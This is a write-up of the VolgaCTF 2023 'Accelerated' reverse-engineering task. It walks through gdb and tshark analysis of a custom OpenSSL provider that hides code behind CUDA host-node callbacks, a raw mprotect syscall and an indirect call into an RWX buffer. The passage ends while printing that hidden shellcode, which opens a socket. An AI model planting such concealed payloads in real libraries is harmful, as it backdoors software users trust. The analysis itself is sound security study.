Writeup for `Accelerated` - VolgaCTF 2023 Quals Task

Table of Contents

Introduction

`Accelerated` was a VolgaCTF 2023 Quals task, category `reverse`. Unfortunately, the task remained unsolved.

In sections 1-5 we'll be giving an overly verbose description of all the step of the implied solution. To skip it and get straight to the summary of the solution go to TL;DR section.

We're going to use `gdb` (we have `pwndbg` plugin installed, but it's not needed here), occasionally the default `python3` will be used.

Throughout the writeup the terms "address" and "offset" are used interchangeably.

1. Info gathering

We start by inspecting the given files.

First, let's take a look at file `.bash_history`. As the name suggests, this file contains a log of the

executed commands.

```
$ cat .bash_history
cat /etc/os-release >> ~/system.info                                    ①
printf "\n\n" >> ~/system.info
cat /proc/driver/nvidia/version >> ~/system.info
printf "\n\n" >> ~/system.info
openssl version >> ~/system.info
cat ~/system.info
openssl enc  -provider-path . -provider accelerated \                  ②
  -provider default -pbkdf2  -e -accelerated-cipher \
  -in flag.txt -out flag.enc  -kfile key.txt \
  -p > encryption_params.txt
curl -T flag.enc ftp://84.201.156.120 --user volgactf:volgactf          ③
```

① In the first six lines some info about the environment is collected and saved to `system.info`.

② Then we see `openssl enc` invocation, the interesting arguments are:

- `-provider-path .`, `-provider accelerated`

  these tell us a custom provider named `accelerated` is used (obviously, that's the given ELF `accelerated.so`).

- `-accelerated-cipher`

  a cipher named `accelerated` is used.

- `-in flag.txt`, `-out flag.enc`

  a file `flag.txt` is encrypted and saved as `flag.enc`.

③ Finally, the encrypted file `flag.enc` is uploaded to some ftp server using `curl`.

Clearly, since we're not given the ciphertext file `flag.enc`, we need to find it within the traffic dump `net.pcapng`.

In the `system.info` file we can find some additional info:

```
$ cat system.info
PRETTY_NAME="Ubuntu 22.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.2 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
```

```
UBUNTU_CODENAME=jammy


NVRM version: NVIDIA UNIX x86_64 Kernel Module  525.60.13  Wed Nov 30 06:39:21 UTC
2022
GCC version:  gcc version 11.3.0 (Ubuntu 11.3.0-1ubuntu1~22.04)


OpenSSL 3.0.2 15 Mar 2022 (Library: OpenSSL 3.0.2 15 Mar 2022)
```

Let's also check `accelerated.so` dependencies:

```
$ ldd accelerated.so
        linux-vdso.so.1 (0x00007fffe8ba6000)
        libcudart.so.12 => /usr/local/cuda/targets/x86_64-linux/lib/libcudart.so.12
(0x00007ff033200000)
        libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007ff032fd6000)
        libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007ff0335f0000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff032dae000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff03366f000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff0335eb000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff0335e4000)
        librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff0335df000)
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007ff0334f8000)
```

Along with installed NVidia drivers and the task's name `Accelerated`, dependency `libcudart.so.12` tells us that at least partially encryption/decryption ***might*** be done using GPU.

Here's what we've gathered so far:

1. OpenSSL `3.0.2` on machine with `Ubuntu 22.04` and `NVidia drivers 525.60.13` was used.
2. File `flag.txt` was encrypted using a custom cipher `accelerated` implemented as an `OpenSSL` provider `accelerated.so`.
3. The provider `accelerated.so` is linked with CUDA runtime library.
4. The encrypted file `flag.enc` was uploaded to an external FTP server `84.201.156.120`.
5. The network traffic dump `net.pcapng` is likely to contain `flag.enc`.

2. Extracting encrypted file from network traffic

Let's try to find `flag.enc` within the traffic dump `net.pcapng`.

Knowing the used protocol and IP address of the server we can use filter `"ip.addr==84.201.156.120`

`&& ftp-data"` to find the TCP stream that contains the file. We then export and save its contents as a binary file:

```
$ tshark -r net.pcapng -2 -R "ip.addr==84.201.156.120 && ftp-data" -T fields -e
tcp.stream
2
$ tshark -r net.pcapng -z follow,tcp,raw,2 -q | tail -n2 | head -n1 | xxd -r -p -
flag.enc
$ xxd flag.enc
00000000: 5361 6c74 6564 5f5f ee32 b21d 260f c7bf  Salted__.2..&...
00000010: 98cb fccf b13d 4dd4 5a21 6ab1 755c e648  .....=M.Z!j.u\.H
00000020: d8f5 1235 a503 9251 7542 4577 ffc4 fa07  ...5...QuBEw....
00000030: 447d 20f9 0d9a 42e1 cba0 9a81 f216 af1e  D} ...B.........
00000040: 63fd 9c3f 86ec 3c08 9b3b b8f4 74f2 4649  c..?..<..;..t.FI
00000050: ea25 9c47 650e 69                        .%.Ge.i
```

We see prefix `Salted__` that designates OpenSSL salted format, thus the extracted file was indeed encrypted using OpenSSL.

3. Static analysis

Locating init and encrypt functions

Now let's see the binary's dynamic symbols:

```
$ nm -D accelerated.so  --demangle | grep -i ssl
                 U OPENSSL_cleanse
                 U OPENSSL_die
00000000000041b0 T OSSL_provider_init
$ nm -D accelerated.so  --demangle | grep -i key
0000000000003960 T expand_keys(main_key_t const&, unsigned long long*)
0000000000003a10 T context::set_main_key(main_key_t const&)
00000000000039e0 T context::context(unsigned long long, main_key_t const&, bool)
00000000000039e0 T context::context(unsigned long long, main_key_t const&, bool)
$ nm -D accelerated.so  --demangle | grep -i enc
00000000000029a0 T cpu::pre_encrypt(context const&)
0000000000002ca0 T cpu::post_encrypt(context const&)
00000000000029b0 T cpu::encrypt(context const&, unsigned char const*, unsigned char*,
unsigned long)
00000000000032d0 T gpu::pre_encrypt(context const&)
0000000000003490 T gpu::post_encrypt(context const&)
00000000000034e0 T gpu::encrypt(context const&, unsigned char const*, unsigned char*,
unsigned long)
```

Among the dynamic symbols we see functions `cpu::*`, `gpu::*`, `context::set_main_key`, and `expand_keys`. These functions look like an actual implementation of the provided cipher.

According to the docs [1] every dynamically loadable provider must export function `OSSL_provider_init`, which we also see in the output above.

This function is an initialization function with the following signature [1]:

```
int NAME(const OSSL_CORE_HANDLE *handle,
         const OSSL_DISPATCH *in, const OSSL_DISPATCH **out,
         void **provctx);
```

It returns an array of `OSSL_DISPATCH` objects [2]:

```
typedef struct ossl_dispatch_st OSSL_DISPATCH;
struct ossl_dispatch_st {
    int function_id;
    void (*function)(void);
};
```

via it's third argument (`const OSSL_DISPATCH **out`). Essentially, `OSSL_DISPATCH` object is a pair `func_id:func_ptr`, and `func_id` identify various init functions.

Of these particularly interesting is the function with id `OSSL_FUNC_PROVIDER_QUERY_OPERATION` (`0x403`, see `openssl/core-dispatch.h`), here is its signature:

```
const OSSL_ALGORITHM *provider_query_operation(void *provctx,
                                               int operation_id,
                                               const int *no_store);
```

This function returns an array of `OSSL_ALGORITHM` objects [3]:

```
typedef struct ossl_algorithm_st OSSL_ALGORITHM;
struct ossl_algorithm_st {
    const char *algorithm_names;     /* key */
    const char *property_definition; /* key */
    const OSSL_DISPATCH *implementation;
    const char *algorithm_description;
};
```

that describe operation implementations for the provided algorithms, that is, addresses of the functions that initialize context, encrypt and decrypt data, etc. This information is stored as an array of `OSSL_DISPATCH` objects in `const OSSL_DISPATCH *implementation`.

Among the implementation functions the most interesting are (see `openssl/core-dispatch.h`):

- `OSSL_FUNC_CIPHER_ENCRYPT_INIT` (value `0x2`)
- `OSSL_FUNC_CIPHER_UPDATE` (value `0x4`)

- `OSSL_FUNC_CIPHER_FINAL` (value `0x5`)

Therefore, to locate these functions we need to:

1. locate function `OSSL_provider_init` and find address of the array it returns via the third argument
2. in this array of `OSSL_DISPATCH` objects find the query function with id `OSSL_FUNC_PROVIDER_QUERY_OPERATION` (`0x403`)
3. in the query function locate address of the array it returns
4. in this array of `OSSL_ALGORITHM` objects find address of `OSSL_DISPATCH *implementation` array (as the third pointer).

One way to do this is to use `gdb`:

```
$ gdb accelerated.so  -q
pwndbg: loaded 141 pwndbg commands and 47 shell commands. Type pwndbg [--shell |
--all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from accelerated.so...
(No debugging symbols found in accelerated.so)
pwndbg> disassemble OSSL_provider_init
Dump of assembler code for function OSSL_provider_init:
   ...
   0x00000000000041bb <+11>:    mov    r13,rdx
   ...
   0x00000000000041ee <+62>:    lea    rax,[rip+0x4d7eb]    # 0x519e0  ①
   ...
   0x00000000000041fe <+78>:    mov    QWORD PTR [r13+0x0],rax
   ...
   0x0000000000004231 <+129>:   ret
End of assembler dump.
pwndbg> x/8gx 0x519e0
0x519e0:        0x0000000000000400      0x0000000000004050
0x519f0:        0x0000000000000403      0x0000000000003a70            ②
0x51a00:        0x0000000000000405      0x0000000000003a90
0x51a10:        0x0000000000000402      0x0000000000003aa0
pwndbg> x/8i 0x3a70
   0x3a70:      endbr64
   0x3a74:      mov    DWORD PTR [rdx],0x0
   0x3a7a:      cmp    esi,0x2
   0x3a7d:      mov    edx,0x0
   0x3a82:      lea    rax,[rip+0x4dfb7]        # 0x51a40              ③
   0x3a89:      cmovne rax,rdx
   0x3a8d:      ret
   0x3a8e:      xchg   ax,ax
pwndbg> x/3gx 0x51a40
0x51a40:        0x000000000001d572      0x000000000001d571
0x51a50:        0x0000000000051a80                                    ④
pwndbg> x/s 0x1d572
```

```
0x1d572:        "accelerated-cipher"
pwndbg> x/s 0x1d571
0x1d571:        ""
pwndbg> x/12gx 0x51a80                                                    ⑤
0x51a80:        0x0000000000000001      0x0000000000003ea0
0x51a90:        0x0000000000000002      0x0000000000003d60
0x51aa0:        0x0000000000000003      0x0000000000003d60
0x51ab0:        0x0000000000000004      0x0000000000003f80
0x51ac0:        0x0000000000000005      0x0000000000003d20
0x51ad0:        0x0000000000000008      0x0000000000004070
```

① `OSSL_provider_init` returns array at offset `0x519e0`.

② Function of type `OSSL_FUNC_PROVIDER_QUERY_OPERATION` is located at offset `0x3a70`.

③ The query function returns array at offset `0x51a40`.

④ `OSSL_DISPATCH *implementation` array is located at offset `0x51a80`.

⑤ Examining the array of `OSSL_DISPATCH` gives the offsets of various implementation functions.

Now that we've found `implementation` array we can locate functions such as init, encrypt/decrypt, update, etc.

For example, let's examine the function `OSSL_FUNC_CIPHER_ENCRYPT_INIT` (`0x2`):

```
pwndbg> set print asm-demangle on
pwndbg> x/50i 0x3d60
   ...
   0x3da2:      test   rsi,rsi
   0x3da5:      je     0x3dcd
   0x3da7:      movdqu xmm0,XMMWORD PTR [rsi]
   0x3dab:      mov    rdi,rbp
   0x3dae:      mov    rsi,rsp
   0x3db1:      movaps XMMWORD PTR [rsp],xmm0
   0x3db5:      call   0x23e0 <context::set_main_key(main_key_t const&)@plt>  ①
   0x3dba:      cmp    BYTE PTR [rbp+0x50],0x0
   0x3dbe:      mov    rdi,rbp
   0x3dc1:      jne    0x3df0
   0x3dc3:      call   0x2600 <cpu::pre_encrypt(context const&)@plt>          ②
   0x3dc8:      mov    eax,0x1
   0x3dcd:      mov    rdx,QWORD PTR [rsp+0x18]
   0x3dd2:      sub    rdx,QWORD PTR fs:0x28
   0x3ddb:      jne    0x3e9a
   0x3de1:      add    rsp,0x20
   0x3de5:      pop    rbp
   0x3de6:      ret
   0x3de7:      nop    WORD PTR [rax+rax*1+0x0]
   0x3df0:      call   0x25e0 <gpu::pre_encrypt(context const&)@plt>          ②
   0x3df5:      jmp    0x3dc8
   ...
```

As can be seen, `OSSL_FUNC_CIPHER_ENCRYPT_INIT` first calls `context::set_main_key`, and then calls either `cpu::pre_encrypt` or `gpu::pre_encrypt` depending on the value of the second argument.

Similarly, check the function `OSSL_FUNC_CIPHER_UPDATE` (`0x4`):

```
pwndbg> x/50i 0x3f80
   ...
   0x3fae:      cmp    BYTE PTR [rdi+0x50],0x0
   0x3fb2:      mov    rcx,r9
   0x3fb5:      mov    rdx,r10
   0x3fb8:      jne    0x3fd0
   0x3fba:      call   0x2530 <cpu::encrypt(context const&, unsigned char const*,
unsigned char*, unsigned long)@plt>   ①
   0x3fbf:      mov    QWORD PTR [rbp+0x0],rbx
   0x3fc3:      add    rsp,0x8
   0x3fc7:      mov    eax,0x1
   0x3fcc:      pop    rbx
   0x3fcd:      pop    rbp
   0x3fce:      ret
   0x3fcf:      nop
   0x3fd0:      call   0x26f0 <gpu::encrypt(context const&, unsigned char const*,
unsigned char*, unsigned long)@plt>   ①
   0x3fd5:      mov    QWORD PTR [rbp+0x0],rbx
   0x3fd9:      add    rsp,0x8
   0x3fdd:      mov    eax,0x1
   0x3fe2:      pop    rbx
   0x3fe3:      pop    rbp
   0x3fe4:      ret
   0x3fe5:      mov    edx,0xb5
   ...
```

Again, either `cpu::encrypt` or `gpu::encrypt` is invoked to encrypt data.

Checking the call graph of the function `OSSL_FUNC_CIPHER_FINAL` (offset `0x3d20`) reveals that finalization is done by either `cpu::post_encrypt` or `gpu::post_encrypt`.

Therefore, examining `.symtab` we can locate the actual implementation functions.

Note that the actual offset of, say, `gpu::encrypt` is `0x34e0`, not `0x26f0` (the latter being its PLT entry).

Note the offsets of `accelerated-cipher` implementation functions:

- `OSSL_provider_init` - `0x41b0`
- `context::set_main_key` - `0x3a10`
- `expand_keys` - `0x3960`
- `cpu::pre_encrypt` - `0x29a0`

- `cpu::encrypt` - `0x29b0`
- `cpu::post_encrypt` - `0x2ca0`
- `gpu::pre_encrypt` - `0x32d0`
- `gpu::encrypt` - `0x34e0`
- `gpu::post_encrypt` - `0x3490`

Examining `gpu::pre_encrypt`

Now let's examine function `gpu::pre_encrypt` as multiple hints (task's name, dependencies, etc.) point us to the GPU-related code of the provider.

```
$ gdb accelerated.so -q
pwndbg: loaded 141 pwndbg commands and 47 shell commands. Type pwndbg [--shell |
--all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from accelerated.so...
(No debugging symbols found in accelerated.so)
pwndbg> set print asm-demangle on
pwndbg>
pwndbg> disassemble 0x32d0
Dump of assembler code for function gpu::pre_encrypt(context const&):
   ...
   0x0000000000003373 <+163>:   xor    esi,esi
   0x0000000000003375 <+165>:   lea    rdi,[rip+0x4ef24]        # 0x522a0
   0x000000000000337c <+172>:   call   0x2640 <cudaGraphCreate@plt>             ①
   0x0000000000003381 <+177>:   lea    r12,[rip+0x4ef28]        # 0x522b0       ③
   0x0000000000003388 <+184>:   mov    r8,rsp
   0x000000000000338b <+187>:   xor    ecx,ecx
   0x000000000000338d <+189>:   xor    edx,edx
   0x000000000000338f <+191>:   mov    rsi,QWORD PTR [rip+0x4ef0a]   # 0x522a0
   0x0000000000003396 <+198>:   lea    rax,[rip+0xfffffffffffffa43]  # 0x2de0   ④
   0x000000000000339d <+205>:   mov    rdi,r12
   0x00000000000033a0 <+208>:   mov    QWORD PTR [rsp+0x8],0x0
   0x00000000000033a9 <+217>:   mov    QWORD PTR [rsp],rax
   0x00000000000033ad <+221>:   call   0x2560 <cudaGraphAddHostNode@plt>        ②
   0x00000000000033b2 <+226>:   movdqa xmm0,XMMWORD PTR [rip+0x11f56] # 0x15310
   0x00000000000033ba <+234>:   mov    rdx,r12
   0x00000000000033bd <+237>:   add    r12,0x8                                  ③
   ...
   0x0000000000003408 <+312>:   mov    rsi,QWORD PTR [rip+0x4ee91]    # 0x522a0
   0x000000000000340f <+319>:   lea    rax,[rip+0xfffffffffffff94a]   # 0x2d60  ④
   0x0000000000003416 <+326>:   lea    r8,[rsp+0x10]
   0x000000000000341b <+331>:   mov    rdx,r12
   0x000000000000341e <+334>:   mov    ecx,0x1
   0x0000000000003423 <+339>:   lea    rdi,[r12+0x8]                            ③
   0x0000000000003428 <+344>:   mov    QWORD PTR [rsp+0x10],rax
   0x000000000000342d <+349>:   mov    QWORD PTR [rsp+0x18],0x0
   0x0000000000003436 <+358>:   call   0x2560 <cudaGraphAddHostNode@plt>        ②
```

```
   ...
End of assembler dump.
```

① `gpu::pre_encrypt` function creates CUDA graph.

② Two host nodes are added to the graph.

③ Addresses of the created host nodes are stored at offsets `0x522b0` and `0x522c0`.

④ Functions `0x2de0` and `0x2d60` are set as the callback functions.

As can be seen, `gpu::pre_encrypt` creates CUDA graph and adds two nodes to it using `cudaGraphAddHostNode`, which has the following signature [4]:

```
__host__ cudaError_t cudaGraphAddHostNode ( cudaGraphNode_t* pGraphNode, cudaGraph_t
graph, const cudaGraphNode_t* pDependencies, size_t numDependencies, const
cudaHostNodeParams* pNodeParams )
```

Address of the created node `cudaGraphNode_t` is passed as the first argument (`rdi`). An instance of `cudaHostNodeParams` struct is passed as the fifth argument (`r8`) of `cudaGraphAddHostNode`. This struct describes a node to be added and is defined in `cuda/include/driver_types.h`:

```
struct __device_builtin__ cudaHostNodeParams {
    cudaHostFn_t fn;  /**< The function to call when the node executes */
    void* userData;   /**< Argument to pass to the function */
};
```

The first field of this structure is the function to be called when the node is executed.

Therefore, analyzing code preceding each `cudaGraphAddHostNode` call we can find the offsets of these callback functions: `0x2de0` and `0x2d60`. Disassembling these functions we don't see anything suspicious (listings omitted for brevity).

Note the offsets of the created host nodes: `0x522b0` and `0x522c0`.

Examining `gpu::encrypt`

Moving along, let's study `gpu::encrypt`.

```
pwndbg> disassemble 0x34e0
Dump of assembler code for function gpu::encrypt(context const&, unsigned char const*,
unsigned char*, unsigned long):
   ...
   0x000000000000353e <+94>:    lea    rdx,[rbx-0x40001]
   0x0000000000003545 <+101>:   mov    rbx,QWORD PTR [rsp+0x18]
   0x000000000000354a <+106>:   lea    r13,[rsp+0x30]
   0x000000000000354f <+111>:   shr    rdx,0x12
   0x0000000000003553 <+115>:   lea    r14,[rip+0xfffffffffffffb26]  # 0x3080      ①
```

```
   0x000000000000355a <+122>:   lea    r12,[rsp+0x40]
   0x000000000000355f <+127>:   mov    QWORD PTR [rsp+0x20],rdx
   0x0000000000003564 <+132>:   add    rdx,0x1
   0x0000000000003568 <+136>:   lea    rbp,[rip+0xfffffffffffff9d1]  # 0x2f40       ②
   0x000000000000356f <+143>:   shl    rdx,0x12
   0x0000000000003573 <+147>:   lea    rcx,[r15+rdx*1]
   0x0000000000003577 <+151>:   mov    QWORD PTR [rsp+0x28],rdx
   0x000000000000357c <+156>:   mov    QWORD PTR [rsp+0x8],rcx
   0x0000000000003581 <+161>:   nop    DWORD PTR [rax+0x0]
   0x0000000000003588 <+168>:   mov    QWORD PTR [rsp+0x30],r14
   0x000000000000358d <+173>:   mov    QWORD PTR [rsp+0x38],r15
   0x0000000000003592 <+178>:   mov    QWORD PTR [rsp+0x40],rbp
   0x0000000000003597 <+183>:   mov    QWORD PTR [rsp+0x48],rbx
   0x000000000000359c <+188>:   test   al,al
   0x000000000000359e <+190>:   je     0x3708 <gpu::encrypt(context const&, unsigned
char const*, unsigned char*, unsigned long)+552>
   0x00000000000035a4 <+196>:   mov    rax,QWORD PTR [rip+0x4ec95]   # 0x52240
   0x00000000000035ab <+203>:   mov    rsi,QWORD PTR [rip+0x4ecfe]   # 0x522b0      ①
   0x00000000000035b2 <+210>:   mov    rdx,r13
   0x00000000000035b5 <+213>:   add    r15,0x40000
   0x00000000000035bc <+220>:   mov    rdi,QWORD PTR [rip+0x4ece5]   # 0x522a8
   0x00000000000035c3 <+227>:   add    rbx,0x40000
   0x00000000000035ca <+234>:   mov    QWORD PTR [rax],0x40000
   0x00000000000035d1 <+241>:   call   0x26a0 <cudaGraphExecHostNodeSetParams@plt>  ①
   0x00000000000035d6 <+246>:   mov    rsi,QWORD PTR [rip+0x4ece3]   # 0x522c0      ②
   0x00000000000035dd <+253>:   mov    rdi,QWORD PTR [rip+0x4ecc4]   # 0x522a8
   0x00000000000035e4 <+260>:   mov    rdx,r12
   0x00000000000035e7 <+263>:   call   0x26a0 <cudaGraphExecHostNodeSetParams@plt>  ②
   0x00000000000035ec <+268>:   mov    rdi,QWORD PTR [rip+0x4ecb5]   # 0x522a8
   0x00000000000035f3 <+275>:   xor    esi,esi
   0x00000000000035f5 <+277>:   call   0x2620 <cudaGraphLaunch@plt>
   0x00000000000035fa <+282>:   xor    edi,edi
   0x00000000000035fc <+284>:   call   0x2570 <cudaStreamSynchronize@plt>
   0x0000000000003601 <+289>:   movzx  eax,BYTE PTR [rip+0x4ecd8]    # 0x522e0
   ...
End of assembler dump.
```

① Callback function for node `0x522b0` is changed to function at `0x3080`.

② Callback function for node `0x522c0` is changed to function at `0x2f40`.

In the snippet above we can see that `gpu::encrypt` calls `cudaGraphExecHostNodeSetParams` [4]:

```
__host__ cudaError_t cudaGraphExecHostNodeSetParams ( cudaGraphExec_t hGraphExec,
cudaGraphNode_t node, const cudaHostNodeParams* pNodeParams )
```

This function is used to change host node parameters. It accepts address of the node to be modified as its second argument (`rsi`), and address of a new `cudaHostNodeParams` struct as its third argument (`rdx`).

Thus, `gpu::encrypt` changes callback functions to `0x3080` and `0x2f40`, respectively, right before CUDA graph execution. As this is not exactly the regular way of defining host node, these new callbacks deserve attention.

Disassembling function at `0x3080`, we see something even more suspicious.

```
pwndbg> x/100i 0x3080
   ...
   0x3159:      mov    rdx,QWORD PTR [rip+0x4f0e0]     # 0x52240    ②
   0x3160:      lea    rbx,[rdx+0x40120]                             ②
   0x3167:      and    rbx,0xfffffffffffff000
   0x316e:      add    rdx,0x40320
   0x3175:      mov    eax,0x1000
   0x317a:      mov    ecx,0x2000
   0x317f:      mov    DWORD PTR [rsp+0x4],0x0
   0x3187:      and    rdx,0xfffffffffffff000
   0x318e:      cmp    rdx,rbx
   0x3191:      cmove  ecx,eax
   0x3194:      mov    rdi,rbx
   0x3197:      mov    esi,ecx
   0x3199:      mov    edx,0x7
   0x319e:      mov    rax,0xa                                       ①
   0x31a5:      syscall                                              ①
   0x31a7:      mov    DWORD PTR [rsp+0x4],eax
   ...
```

① `sys_mprotect` invocation

② protection of a memory range at `*(long*)0x52240 + 0x40120` is being changed

A direct invocation of syscall is fairly unusual and its presence might mean the devs needed to call some system function and didn't want it to be seen in `.symtab`.

Let's find out what this snippet does. System call number `0xa` is `sys_mprotect` [5], which sets protection on a region of memory. `sys_mprotect` "signature" is analogous to `mprotect(2)` system function's [6]:

```
int mprotect(void *addr, size_t len, int prot);
```

The first two arguments `addr` and `len` (passed in `rdi` and `rsi`) define the memory range which protection is to be changed; `addr` must be aligned to a page boundary (hence the `and` operations with mask `0xfffffffffffff000`). The third argument (`rdx`) is a bitwise-or of the access flags `PROT_*`.

The region's address before alignment can be calculated as `*(long*)0x52240 + 0x40120` (the first two lines of the snippet). Its length is either `0x1000` or `0x2000` depending on whether the whole range fits into a single memory page or not.

As for the third argument, `prot`, its value is `7` which is equivalent to `PROT_READ|PROT_WRITE|PROT_EXEC` (`PROT_*` are defined in `/usr/include/x86_64-linux-gnu/bits/mman-linux.h`).

Even though in theory bit `PROT_EXEC` being set can be just an error (an artifact of the stackoverflow-based programming, for example), most likely it means that the memory range contains code that's going to be **executed** some time later.

Examine cross-references to value `0x52240` using the following tiny python program (reverse-engineering it is left as an exercise for the reader).

```
$ python3 -c "import subprocess, re; l=subprocess.check_output(['objdump','-
d','accelerated.so']).decode(); o=[(m.group(1), sum(map(lambda x: int(x, 16),
m.groups()[1:]))) for m in re.finditer(r'(\s+[\da-fA-F]*:.+0x([\da-fA-F]+)\(%rip\)
.*)\n\s+([\da-fA-F]*)',l)]; print(''.join([v[0] for v in o if v[1]==0x52240]))"

    ...
    2f56:       48 8b 05 e3 f2 04 00    mov    0x4f2e3(%rip),%rax        # 52240
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x30>
    2f8d:       48 8b 35 ac f2 04 00    mov    0x4f2ac(%rip),%rsi        # 52240
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x30>
    2fbc:       48 8b 35 7d f2 04 00    mov    0x4f27d(%rip),%rsi        # 52240
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x30>
    2fdc:       48 8b 35 5d f2 04 00    mov    0x4f25d(%rip),%rsi        # 52240
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x30>
    2ffc:       48 8b 0d 3d f2 04 00    mov    0x4f23d(%rip),%rcx        # 52240
<__fatbinwrap_6db1f306_9_common_cu_075f07a1+0x30>
    ...
```

Obviously, it's much easier to find xrefs using a dedicated disassembler, for instance, IDA.

Among these reference sites we see several close to `0x2f40` which is the other callback assigned to the CUDA host node, let's disassemble it.

```
pwndbg> x/50i 0x2f40
   0x2f40:      endbr64
   0x2f44:      movzx  eax,BYTE PTR [rip+0x4f386]    # 0x522d1
   0x2f4b:      push   r12
   0x2f4d:      push   rbp
   0x2f4e:      mov    rbp,rdi
   0x2f51:      push   rbx
   0x2f52:      test   al,al
   0x2f54:      je     0x2f84
   0x2f56:      mov    rax,QWORD PTR [rip+0x4f2e3]   # 0x52240   ②
   0x2f5d:      cmp    BYTE PTR [rip+0x4f37c],0x0    # 0x522e0   ①
   0x2f64:      lea    rbx,[rax+0x40120]                         ②
   0x2f6b:      je     0x2ff0                                    ①
   0x2f71:      mov    rdi,QWORD PTR [rip+0x4f2d0]   # 0x52248   ③
   0x2f78:      lea    r12,[rdi+0x50]
   0x2f7c:      sub    r12,rdi
   0x2f7f:      mov    rsi,r12                                   ③
```

```
   0x2f82:      call   rbx                                    ④
```

① `*(char*)0x522e0 == 0` condition must be false.

② `*(long*)0x52240 + 0x40120` is the address of the code to be executed.

③ Something that looks like function arguments: an address of a buffer (`*(long*)0x52248`) and its length `0x50`, perhaps?..

④ Indirect call.

As expected, the memory range marked as executable is indeed being executed. However, it's not possible to examine this code yet, as qword value at `0x52240` equals `0`. So we have to continue with dynamic analysis.

Note the following:

- `0x52240` - offset of some kind of struct that points to the buffer with code
- `*(long*)0x52240 + 0x40120` - expression that evaluates to the offset of the buffer with code, thereafter referred to as `$buf_code`
- `0x2f82` - indirect call site of the code
- `*(long*)0x52248` - might be an address of some buffer passed as an argument to the code, thereafter referred to as `$buf_arg`
- `0x52248` - offset of a struct (or just a printer) that points to the buffer `$buf_arg`, thereafter referred to as `$struct_arg`

4. Dynamic analysis

Obtaining the suspicious code

Knowing address of the buffer `$buf_code` that contains a suspicious (potentially malicious) code we can either set a hardware breakpoint on this memory (whenever the address is known to us), or simply set a breakpoint on the call site to break right before execution of this code.

Let's try the second approach.

Since we're debugging an `.so` we need to proceed as follows:

1. start debugging `openssl` binary
2. ask `gdb` to break each time a dynamic library is loaded using `set stop-on-solib-events 1`
3. start execution
4. `continue` until we see `Stopped due to shared library event:⋯ Inferior loaded ./accelerated.so`
5. switch off `stop-on-solib-events`
6. define load address of `accelerated.so` and set a breakpoint on the call site of the code (offset `0x2f82`)

`openssl` cmd line can be found in the given `.bash_history`:

```
openssl enc  -provider-path . -provider accelerated -provider default -pbkdf2  -e
-accelerated-cipher -in flag.txt -out flag.enc  -kfile key.txt -p >
encryption_params.txt
```

We don't have the key file just yet, so in order to start debugging we need to create a bogus one:

```
$ dd if=/dev/urandom of=fake.key.bin count=1024
```

Now we're ready to start debugging:

```
$ gdb -q --args openssl enc -provider-path . -provider accelerated -provider default
-pbkdf2  -e -accelerated-cipher -in flag.enc -out fake.flag.enc  -kfile fake.key.bin
pwndbg: loaded 141 pwndbg commands and 47 shell commands. Type pwndbg [--shell |
--all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from openssl...
(No debugging symbols found in openssl)
pwndbg> set print asm-demangle on
pwndbg> set stop-on-solib-events 1
pwndbg> r
        ...
pwndbg> c
        ...
pwndbg> c
Continuing.
Stopped due to shared library event:
  Inferior loaded ./accelerated.so
        ...
pwndbg> set stop-on-solib-events 0
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555590000 r--p    3c000      0 /usr/bin/openssl
    0x555555590000     0x555555603000 r-xp    73000  3c000 /usr/bin/openssl
    0x555555603000     0x55555562e000 r--p    2b000  af000 /usr/bin/openssl
    0x55555562f000     0x555555641000 r--p    12000  da000 /usr/bin/openssl
    0x555555641000     0x555555649000 rw-p     8000  ec000 /usr/bin/openssl
    0x555555649000     0x55555566c000 rw-p    23000      0 [heap]
    0x7ffff784c000     0x7ffff784e000 r--p     2000      0
/home/accelerated/task/accelerated/accelerated.so
    0x7ffff784e000     0x7ffff7851000 r-xp     3000   2000
/home/accelerated/task/accelerated/accelerated.so
    0x7ffff7851000     0x7ffff789d000 r--p    4c000   5000
/home/accelerated/task/accelerated/accelerated.so
    0x7ffff789d000     0x7ffff789f000 rw-p     2000  50000
/home/accelerated/task/accelerated/accelerated.so
```

```
    ...
    0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]
pwndbg> set $base = 0x7ffff784c000
pwndbg> b *($base + 0x2f82)
pwndbg> set $struct_arg = ($base + 0x52248)
pwndbg> set $buf_arg = *(long*)($base + 0x52248)
pwndbg> c
```

The execution stops at instruction `call rbx` and now we can examine the code.

Examining the suspicious code

```
pwndbg> x/30i $rbx
   0x7fffc4040320:      push   rbp
   0x7fffc4040321:      mov    rbp,rsp
   0x7fffc4040324:      push   rdi
   0x7fffc4040325:      push   rsi
   0x7fffc4040326:      xor    eax,eax
   0x7fffc4040328:      cdq
   0x7fffc4040329:      mov    al,0x2
   0x7fffc404032b:      mov    edi,eax
   0x7fffc404032d:      mov    esi,eax
   0x7fffc404032f:      mov    al,0x29
   0x7fffc4040331:      syscall                          ①
   0x7fffc4040333:      pop    rdx
   0x7fffc4040334:      pop    rsi
   0x7fffc4040335:      push   rax
